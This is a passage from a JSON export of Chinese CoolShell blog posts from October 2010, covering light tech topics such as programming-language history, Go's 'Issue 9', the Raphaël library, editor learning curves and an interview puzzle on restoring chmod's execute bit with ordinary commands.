[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/873.html)[谁说C语言很简单？](https://coolshell.cn/articles/873.html)\nThe post [“第六感装置”的惊人潜力](https://coolshell.cn/articles/2047.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-11 Windows的达尔文进化图.md",
    "content": "---\nlayout: post\ntitle: Windows的达尔文进化图\ndate: 2010/10/11/ 0:56:40\nupdated: 2010/10/11/ 0:56:40\nstatus: publish\npublished: true\ntype: post\n---\n\n之前发布过《[操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html)》，今天在网上看到一张自于[Testking.com](http://testking.com/)的关于Windows的进化图，其从1985年的windows 1.0到2009年的windows 7的。挺有意思的。点击可以看大图。\n\n\n[![The Darwinian Evolution of Windows](../wp-content/uploads/2010/10/W_600.jpg)](http://www.testking.com/techking/infographics/the-darwinian-evolution-of-windows-infographic/)\n\n\n图片来源: [The Darwinian Evolution of Windows](http://www.testking.com/techking/infographics/the-darwinian-evolution-of-windows-infographic/) by [Tech King](http://www.testking.com/techking/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![操作系统图形界面发展史(1981-2009)](../wp-content/uploads/2009/03/19-windows-3-150x150.gif)](https://coolshell.cn/articles/105.html)[操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\nThe post [Windows的达尔文进化图](https://coolshell.cn/articles/3097.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-11 编程语言进化.md",
    "content": "---\nlayout: post\ntitle: 编程语言进化\ndate: 2010/10/11/ 1:18:27\nupdated: 2010/10/11/ 1:18:27\nstatus: publish\npublished: true\ntype: post\n---\n\n\n以前本站发布过《[编程语言时间地理图](https://coolshell.cn/articles/1863.html)》、《[计算机编程简史图](https://coolshell.cn/articles/2724.html)》，下面是两张关于编程语言的进化图。\n\n\n第一张是比较宏观的，[来源在这里](http://techdistrict.kirkk.com/2009/06/17/the-new-era-of-programming-languages/)，虽然是去年的，但还是比较不错的，其把计算机编程语言分成了五个时代——\n\n\n[![](../wp-content/uploads/2010/10/language-evolution.jpg \"language-evolution\")](https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg)\n\n\n* **语言诞生**。1940年代。第一个语言应该是：[Ada Lovelace](http://en.wikipedia.org/wiki/Ada_Lovelace),\n* **编译器时代**。1950年代。这个时代的代表语言是：Fortran, LISP, 和 COBOL，编程语言开始引入编译器优化技术。\n* **模式时代**。1960年代-1970年代。这个时代是编程语言最重大的变革。在这个时代，所有人都在思考如何让设计一个好的编程语言以让编程更简单。面向对象也因为Simula而出现，而Smalltalk成了第一个纯动态类型的语言，C/C++、Pascal和SQL也是这个时代出现的，而第一个功能性/函数式语言ML也是这个时代出现的。所以说，这个时代是一个百花齐放的时代。而1980年代并没有太多的创新的东西，而只是对70年代出现的那些语言优化和发展的时期，如：1979年发明的C++语言。\n* **生产力时代**。1990年代以来主要是如何增进编程生产率的时代，这个时代出现了很多framework，代码库，以及快速开发的IDE，很多公司都在这个时期致力于这些增进生率的工作，如：delphi, power builder, MFC，boost等等。但最重要的还是因为引入了虚拟机——WORA（Write Once, Run Anywhere），JVM 是这方面的代表作。之后的.NET整出来的那些东西都是。今天的JPython, JRuby等都是为整合开发效率和维护效率。参看《[基于JVM的语言正在开始流行](https://coolshell.cn/articles/247.html)》\n* **后现代**。未来的编程语言要走向何方，我不太清楚，不过，大家可以看看本站的这几篇文章：《[五个编程语言设计的失误](https://coolshell.cn/articles/2598.html)》、《[C++和JAVA传统中积极的一面](https://coolshell.cn/articles/209.html)》\n\n\n\n下面是一张大图，让你看看整个编程语言的进代图。（点击看大图）\n\n\n\n[![](../wp-content/uploads/2010/10/EvolutionOfComputerlanguages-1024x727.png \"Evolution Of Computer Languages\")](https://coolshell.cn/wp-content/uploads/2010/10/EvolutionOfComputerlanguages.png) \n\n\n[（](https://coolshell.cn/wp-content/uploads/2010/10/language-evolution.jpg)全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2598.html)[五个编程语言设计的失误](https://coolshell.cn/articles/2598.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/2539.html)[参透软件开发的本质 – Uncle Bob Martin 推荐的经典书籍](https://coolshell.cn/articles/2539.html)\nThe post [编程语言进化](https://coolshell.cn/articles/3100.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-12 Go语言的”Issue 9″ Closed!.md",
    "content": "---\nlayout: post\ntitle: Go语言的”Issue 9″ Closed!\ndate: 2010/10/12/ 7:34:2\nupdated: 2010/10/12/ 7:34:2\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得Google发布Go语言没几天就要 [**更名Issue 9**](https://coolshell.cn/articles/1781.html) 的那个事吗？那是2009年11月的事了，差不多一年了，今天Google的Go语言团队终于正式回复这个bug了。\n\n\n\n> Comment [1097](http://code.google.com/p/go/issues/detail?id=9#c1097) by project member [rsc@golang.org](http://code.google.com/u/rsc@golang.org/), Today (11 hours ago)\n> \n> \n> The naming similarity is unfortunate. However, there are many computing  \n> \n> products and services named Go. In the 11 months since our release, there  \n> \n> has been minimal confusion of the two languages, so we are closing this  \n> \n> issue.\n> \n> \n\n\n\n> “名命类似是很不幸的。然而，那有很多的计算机产品和服务都叫Go。自从我们发布Go语言的这11个月里，这两个语言只有极少的混乱，所以，我们决定关闭这个问题。”\n> \n> \n\n\n目前，该bug的状态为Unfortunate，这个状态很有创造性啊，在我的这么多年软件开发过程中，我还没有在任何的bug管理系统中见过这种状态，嗯，要不我也给我们公司的Defect Tracking System加上一个这种状态？\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/1781.html)[Go语言更名Issue 9？](https://coolshell.cn/articles/1781.html)\n* [![Go语言源码的一个改动](../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg)](https://coolshell.cn/articles/1761.html)[Go语言源码的一个改动](https://coolshell.cn/articles/1761.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/1751.html)[Go 语言：Google 的新编程语言](https://coolshell.cn/articles/1751.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Go编程模式 ： 泛型编程](../wp-content/uploads/2021/09/go-generics-150x150.png)](https://coolshell.cn/articles/21615.html)[Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\nThe post [Go语言的”Issue 9″ Closed!](https://coolshell.cn/articles/3156.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-12 Javascript向量图Lib–Raphaël.md",
    "content": "---\nlayout: post\ntitle: Javascript向量图Lib–Raphaël\ndate: 2010/10/12/ 0:21:37\nupdated: 2010/10/12/ 0:21:37\nstatus: publish\npublished: true\ntype: post\n---\n\n我们知道很多的Javascript的lib库了，比如：jQuery，YUI，Ext JS等等。今天看到一个很牛X的lib叫[Raphaël](http://raphaeljs.com/index.html) [ˈrafēəl]，这是一个很小的JavaScript library，可以让在你的Web上整一些向量图，并且可以完成一些动画和图形变化，很强大。\n\n\n[Raphaël](http://raphaeljs.com/index.html)使用的是  W3C 推荐的 SVG和VML 来创建图片。这意味着所创建的图形对象一样可以是一个DOM对象，可以被你的Javascript的事件来操作。[Raphaël](http://raphaeljs.com/index.html) 支持所有的主流浏览器：Firefox 3.0+, Safari 3.0+, Chrome 5.0+, Opera 9.5+ d 和 Internet Explorer 6.0+，最强大的是，这个js文件被压缩后也就60K。\n\n\n下面，让我们来看几个示例：\n\n\n下面是一个图形变化的示例，点击两个图形间的箭头。\n\n\n\n\n下面是一个流程图，你用鼠标拖动一下其中的图形：\n\n\n\n下面是一个时钟：\n\n\n\n下面是一个3D迷宫（用方向键移动，空格键跳动，注意左上角的地图）：\n\n\n\n更多的示例请到其网站上看看吧：<http://raphaeljs.com/index.html>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [Javascript向量图Lib–Raphaël](https://coolshell.cn/articles/3107.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-12 主流文本编辑器学习曲线.md",
    "content": "---\nlayout: post\ntitle: 主流文本编辑器学习曲线\ndate: 2010/10/12/ 0:55:42\nupdated: 2010/10/12/ 0:55:42\nstatus: publish\npublished: true\ntype: post\n---\n\n下图是几个经典的文本编辑器的学习曲线，不排除其中有调侃和幽默的味道。\n\n\n![](../wp-content/uploads/2010/10/horrorstories.txt.jpg \"主流编辑器学习曲线图\")主流编辑器学习曲线图\n**注1**：**Pico**(**PI**ne **CO**mposer)是Unix操作系统中最常见的三种文字处理软件之一，具有文字编辑、搜索、拼写检查、文件浏览和段对齐功能，适合高效地编辑短小的文件。Pico是由华盛顿大学开发的免费软件，随着[pine](http://www.washington.edu/pine/ \"Pine（尚未撰写）\")电子邮件处理软件发布。它是在Emacs的基础上以pine的邮件编辑为目标而开发的，所以其指令集是Emacs的子集，但是由于在界面上有提示快捷键，相对于vi和Emacs来说更加容易使用。由于Pico虽然是免费软件，但是它并不是开源软件，所以很多Linux版本并不包含Pico。这些版本通常提供一个界面类似的开源软件[nano](http://www.nano-editor.org/ \"Nano\")——Pico的克隆版。\n\n\n**注2**：图中的纵横坐标没有标明。我所理解的是——X轴是熟练程度，Y轴是技能。于是对于notepad 来说，技能和熟练程度呈正比。对于VS来说，熟练程度越大，所需要技能先是越来越多，而随着熟练程度的增长，你需要的技能也越少。而对于VI来说，一开始就需要相当大的技能，但一旦掌握这些技能，则你将会越来越熟练。而对于emacs来说，技能和熟练程度是呈旋涡状。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/3083.html)[三个教程](https://coolshell.cn/articles/3083.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![将vim变得简单:如何在vim中得到你最喜爱的IDE特性](../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg)](https://coolshell.cn/articles/894.html)[将vim变得简单:如何在vim中得到你最喜爱的IDE特性](https://coolshell.cn/articles/894.html)\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\nThe post [主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-13 chmod -x chmod的N种解法.md",
    "content": "---\nlayout: post\ntitle: chmod -x chmod的N种解法\ndate: 2010/10/13/ 0:42:37\nupdated: 2010/10/13/ 0:42:37\nstatus: publish\npublished: true\ntype: post\n---\n\n在SlidesShare.net上有这么[一个幻灯片](http://www.slideshare.net/cog/chmod-x-chmod)，其说了如下的一个面试题：\n\n\n\n> 如果某天你的Unix/Linux系统上的chomd命令被某人去掉了x属性（执行属性），  \n> \n> 那么，你如何恢复呢？\n> \n> \n\n\n下面是一些答案：\n\n\n**1）重新安装**。对于Debian的系统：\n\n\n`sudo apt-get install --reinstall coreutils`\n\n\n**2）使用语言级的chmod**。\n\n\n* Perl：perl-e ‘chmod 0755, “/bin/chmod”‘\n* Python：python -c “import os;os.chmod(‘/bin/chmod’, 0755)”\n* Node.js：require(“fs”).chmodSync(“/bin/chmod”, 0755);\n* C程序：\n\n\n\n```\n#include <sys/types.h>\n#include<sys/stat.h>\nvoid main()\n{\nchmod(\"/bin/chmod\", 0000755);\n}\n```\n\n\n**3）使用已有的可执行文件。**\n\n\n\n```\n\n$cat - > chmod.c\nvoid main(){}\n^D\n\n$cc chmod.c\n$cat /bin/chmod > a.out\n$./a.out 0755 /bin/chmod\n\n```\n\n\n```\n\n$cp true > new_chmod\n$cat /bin/chmod > new_chmod\n$./new_chmod 0755 /bin/chmod\n\n```\n\n**4）使用GNU tar命令**\n\n\n\n```\n$tar --mode 0755 -cf chmod.tar /bin/chmod\n$tar xvf chmod.tar\n```\n\n`tar --mode 755 -cvf - chmod | tar -xvf -`\n\n\n**5）使用cpio** （第19到24字节为file mode – <http://4bxf.sl.pt>）\n\n\n\n```\n\necho chmod |\ncpio -o |\nperl -pe 's/^(.{21}).../${1}755/' |\ncpio -i -u\n```\n\n**6）使用hardcore**\n\n\n`alias chmod='/lib/ld-2.11.1.so ./chmod'`\n\n\n**7）使用Emacs**\n\n\n\n> Ctrl+x b > \\* scratch\\*  \n> \n> (set-file-modes “/bin/chmod” (string-to-number “0755” 8))  \n> \n> Ctrl+j\n> \n> \n\n\n嗯，挺强大的，不过为什么不用install命令呢？\n\n\n\n```\ninstall -m 755 /bin/chmod /tmp/chmod\nmv /tmp/chmod /bin/chmod\n```\n\n各位，你的方法呢？\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![一些杂项资源](../wp-content/uploads/2010/12/ediff-small-150x150.png)](https://coolshell.cn/articles/3437.html)[一些杂项资源](https://coolshell.cn/articles/3437.html)\n* [![主流文本编辑器学习曲线](../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg)](https://coolshell.cn/articles/3125.html)[主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html)\n* [![Emacs配色在线生成器](../wp-content/uploads/2010/03/emacs_color_theme-150x150.jpg)](https://coolshell.cn/articles/2271.html)[Emacs配色在线生成器](https://coolshell.cn/articles/2271.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/1640.html)[文件备份的几个简单命令](https://coolshell.cn/articles/1640.html)\n* [![Eclipse开发Android应用程序入门](../wp-content/uploads/2011/04/install-150x150.gif)](https://coolshell.cn/articles/4270.html)[Eclipse开发Android应用程序入门](https://coolshell.cn/articles/4270.html)\n* [![Docker基础技术：AUFS](../wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png)](https://coolshell.cn/articles/17061.html)[Docker基础技术：AUFS](https://coolshell.cn/articles/17061.html)\nThe post [chmod -x chmod的N种解法](https://coolshell.cn/articles/3136.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-14 用户界面和用户体验的差别.md",
    "content": "---\nlayout: post\ntitle: 用户界面和用户体验的差别\ndate: 2010/10/14/ 0:45:2\nupdated: 2010/10/14/ 0:45:2\nstatus: publish\npublished: true\ntype: post\n---\n\n**用户界面设计**\n\n\n![](../wp-content/uploads/2010/10/UI.gif \"用户界面设计\")用户界面设计\n**用户体验设计**\n\n\n\n[![](../wp-content/uploads/2010/10/UX.jpg \"用户体验设计\")](https://coolshell.cn/wp-content/uploads/2010/10/UX.jpg)用户体验设计在便池上放一个假苍蝇会导致男人撒尿的时候会不由自主地瞄准它，有证据表明，这样的用户体验可以减少80%的小便溅出便池。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![35个强大的UI设计教程](../wp-content/uploads/2009/04/18-150x150.jpg)](https://coolshell.cn/articles/363.html)[35个强大的UI设计教程](https://coolshell.cn/articles/363.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![AWS 的 S3 故障回顾和思考](../wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png)](https://coolshell.cn/articles/17737.html)[AWS 的 S3 故障回顾和思考](https://coolshell.cn/articles/17737.html)\nThe post [用户界面和用户体验的差别](https://coolshell.cn/articles/3142.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-15 AES加密算法动画演示.md",
    "content": "---\nlayout: post\ntitle: AES加密算法动画演示\ndate: 2010/10/15/ 2:13:0\nupdated: 2010/10/15/ 2:13:0\nstatus: publish\npublished: true\ntype: post\n---\n\n波士顿大学的[Howard Straubing](http://www.cs.bc.edu/~straubin/)做了这么一个动画来展示AES加密算法的演示，挺不错的。\n\n\n\n  \n\n[点击这里看全屏](https://coolshell.cn/wp-content/uploads/2010/10/rijndael_ingles2004.swf)  \n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg](https://coolshell.cn/articles/37.html)[【引文】如何用Python往Google Spreadsheet上写数据](https://coolshell.cn/articles/37.html)\n* [![Docker基础技术：Linux Namespace（下）](../wp-content/uploads/2015/04/jail_cell-150x150.jpg)](https://coolshell.cn/articles/17029.html)[Docker基础技术：Linux Namespace（下）](https://coolshell.cn/articles/17029.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/1391.html)[编程真难啊](https://coolshell.cn/articles/1391.html)\n* [![1980年和2009年的1GB电脑内存的比较](../wp-content/uploads/2009/04/1gb-computer-memory-150x150.jpg)](https://coolshell.cn/articles/410.html)[1980年和2009年的1GB电脑内存的比较](https://coolshell.cn/articles/410.html)\nThe post [AES加密算法动画演示](https://coolshell.cn/articles/3161.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-18 Eclipse和Vim快捷键桌面.md",
    "content": "---\nlayout: post\ntitle: Eclipse和Vim快捷键桌面\ndate: 2010/10/18/ 0:23:4\nupdated: 2010/10/18/ 0:23:4\nstatus: publish\npublished: true\ntype: post\n---\n\n点击图片看大图\n\n\n[![](../wp-content/uploads/2010/10/EclipseCanoo1440x900-1024x640.png \"Eclipse 快捷键桌面\")](https://coolshell.cn/wp-content/uploads/2010/10/EclipseCanoo1440x900.png)Eclipse 快捷键桌面  \n\n  \n\n[![](../wp-content/uploads/2010/10/vim-shortcuts-1024x640.png \"vim 移动快捷键桌面\")](https://coolshell.cn/wp-content/uploads/2010/10/vim-shortcuts.png)vim 移动快捷键桌面\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Eclipse 和 Vim](../wp-content/uploads/2009/11/eclim-150x150.png)](https://coolshell.cn/articles/1837.html)[Eclipse 和 Vim](https://coolshell.cn/articles/1837.html)\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [Eclipse和Vim快捷键桌面](https://coolshell.cn/articles/3181.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-18 一些非常不错的资料.md",
    "content": "---\nlayout: post\ntitle: 一些非常不错的资料\ndate: 2010/10/18/ 1:38:51\nupdated: 2010/10/18/ 1:38:51\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### 一、[Intel 给开发人员推荐的资料列表（2010年下半年）](http://www.intel.com/technology/rr/RRlist.pdf)\n\n\n[![](../wp-content/uploads/2010/10/Intel-Recommended-Books-for-Developers.jpg \"Intel Recommended Books for Developers\")](http://www.intel.com/technology/rr/RRlist.pdf)Intel Recommended Books for Developers\n其中包含了\n\n\n* 硬件：硬件，电源，存储，无线\n* 软件：多线程和多核技术，高性能计算，图形游戏，用户关注\n* 嵌入式：设计，软件，操作系统，安全，优化。\n* IT部门：策略和决策，服务器和数据中心，客户端\n\n\n\n－－\n\n\n#### 二、[jQuery Fundamentals](http://jqfundamentals.com/book/)\n\n\n[![](../wp-content/uploads/2010/10/jQuery-Fundamentals.jpg \"jQuery Fundamentals\")](http://jqfundamentals.com/book/)jQuery Fundamentals\n这可能是我见过写得最好的jQuery教程了，大量的示例，只是没有时间和精力，不然一定全部翻译过来。\n\n\n![](../wp-content/uploads/2010/10/jQuery-Fundamentals-Code-Example.jpg \"jQuery Fundamentals - Code Example\")jQuery Fundamentals - Code Example\n还有其它关于jQuery的文章，你还可以查看《[25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html)》\n\n\n－－\n\n\n#### 三、[How to Design Programs](http://www.htdp.org/2003-09-26/Book/)\n\n\n[![](../wp-content/uploads/2010/10/How-to-Design-Programs.jpg \"How to Design Programs\")](http://www.htdp.org/2003-09-26/Book/)How to Design Programs\n想学学如何设计程序吗？英国剑桥大学写的，MIT出版的，希望你能看看，非常不错。\n\n\n－－\n\n\n#### 四、[Microsoft All-In-One Code Framework](http://1code.codeplex.com/)\n\n\n[![](../wp-content/uploads/2010/10/Microsoft-All-In-One-Code-Framework.jpg \"Microsoft All-In-One Code Framework\")](http://1code.codeplex.com/)Microsoft All-In-One Code Framework\nC++/C#/VB.NET的一站式代码和资料，还有coding standard，也是很不错的。\n\n\n——————————————————————\n\n\n查看《[免费电子书列表](https://coolshell.cn/articles/2775.html)》查看更多的电子书。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/4220.html)[一些有意思的文章和资源](https://coolshell.cn/articles/4220.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2775.html)[免费电子书列表](https://coolshell.cn/articles/2775.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/2672.html)[.NET代码转换器](https://coolshell.cn/articles/2672.html)\nThe post [一些非常不错的资料](https://coolshell.cn/articles/3192.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-20 30+ Web下拉菜单.md",
